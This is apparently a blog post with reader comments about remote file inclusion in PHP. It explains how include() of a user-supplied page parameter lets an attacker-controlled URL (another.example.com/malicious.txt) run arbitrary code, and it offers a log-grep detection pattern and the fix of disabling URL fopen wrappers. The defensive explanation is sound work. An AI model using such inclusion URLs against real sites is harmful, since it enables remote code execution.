Unexpected Security Problem with PHP URL fopen Wrapper

Within [PHP](http://www.php.net) programming language, the [URL fopen wrapper](http://www.php.net/manual/en/wrappers.php) feature allows using remote URLs in place of local files in filesystem related functions such as [fopen\(\)](http://www.php.net/manual/en/function.fopen.php), [copy\(\)](http://www.php.net/manual/en/function.copy.php), [include\(\)](http://www.php.net/manual/en/function.include.php) and [require\(\)](http://www.php.net/manual/en/function.require.php). For example, the statement`include(“foo.php”)` includes and evaluates the file `foo.php` with respect to [include_path](http://www.php.net/manual/en/ini.core.php#ini.include-path) setting. Using [URL fopen wrapper](http://www.php.net/manual/en/wrappers.php) feature, it is then possible to include a file from remote server using HTTP or FTP: `include(“http://example.com/foo.php”)`.

That feature looks useful, it is now trivial to create PHP scripts which interact with remote resources. However, users unaware with this ‘(mis)feature’ very often unintentionally introduce security problems in their scripts.

It is in every web designers/programmers mind to reuse common web page components. Not doing so is a waste of time, especially when it is necessary to alter web site design, for example. So, by instinct, very frequently they create one master template file that contains overall web site design; and several other files which contains web page contents to be included from the master template file.

The master file will look like this. Let’s say it is foo.php:




    foo


...other header tidbits here...

...footer here...


Then, the URL will look like `http://example.com/foo.php?page=bar.php`. The master file foo.php above will append header and footer to the file bar.php. So, the whole site will look the same without doing time consuming and error prone task to add the same headers and footers to every single page.

However, what they don’t realize is that the code is a HUGE security hole!

With `url.fopen_wrappers` set to on (and it is on by default), an irresponsible third party can craft an URL like `http://example.com/foo.php?page=http://another.example.com/malicious.txt`. With `http://another.example.com/malicious.txt` is a URL controlled by the attacker. That means the attacker will be able to execute arbitrary PHP command with the privileges of the PHP script itself!

And I’ve got a feeling the bad guys are now spidering the web for URLs with obvious filename in its parameter. Any URLs in the form of `http://example.com/foo.php?page=bar.php` will get exploited very soon, even if the web site is not popular.

If you are a web administrator, it is a good idea to do what the bad guys are doing. It is important that you spot questionable URLs on your site before a bad guy do. The easiest way to do this is by ‘grepping’ your log file for pattern like that:


cat access_log | awk '{ print $7 }' | egrep '\.php\?.*=.*\.(php|html|txt)' | sort | uniq

where `access_log` is your web server’s access log file in CLF or Extended CLF format.

The easiest way to fix the problem without reeditting every single PHP code is by disabling url.fopen_wrapers. However this could be unexpected to some PHP programmers because it is on by default.

In my opinion, this is one shortcoming of the PHP programming language. It is too easy to make simple programming errors like this.

16 comments

  1. Jadi solusi nya apa mas pri? kalo url.fopen_wrappers di off masih bisa pake include ("filename.ext"); kan? karena ini memanggil file local bukan file yg menggunakan url? cmiiw
    apakah ini juga pengaruh dengan syntax require(); ?

  2. #4: karena sepertinya sekarang ini orang2 jahat sudah punya spider untuk mencari URL yang berpola seperti ini. pasang situs yang punya URL seperti itu, dan tunggu 1-2 minggu, kemungkinan besar sudah ada yang ngerjain :)

    #5: kalau url.fopen_wrappers off harusnya gak masalah. tapi sebaiknya sih scriptnya yang dibenerin. require() juga sama masalahnya.

  3. Try Snoopy if you’re looking for a solution to the “not all hosts have allow_url_fopen turned on” problem; it’s a sockets-based HTTP library coded entirely in PHP, and makes it very easy to send HTTP requests.

  4. Priyadi said: “Then, the URL will look like http://example.com/foo.php?page=bar.php.”

    so, let say we have the URL like http://example.com/foo.php?page=1

    the question are:

    1. is it still HUGE security hole with the URL above?

    2. is it any solution for this? if we use fsocketopen instead of fopen, is it more secure?

    3. how to create the script to show
    Using Opera 6.32 on SonyEricsson P910?
    could you share this with us? :d

    thanks! :)

  5. #15:

    1. hard to say, it depends a lot on what on the PHP code. even with url like http://example.com/foo.php?page=bar.php it is possible to do it securely with proper sanitation

    2. can’t tell. but if you are aware that you are using fopen wrappers, it is less likely to have security hole. the security hole exists mainly because people are not aware the function like include() or require() can execute data from external URL.

    3. here

Leave a Reply to iang Cancel reply

Your email address will not be published. Required fields are marked *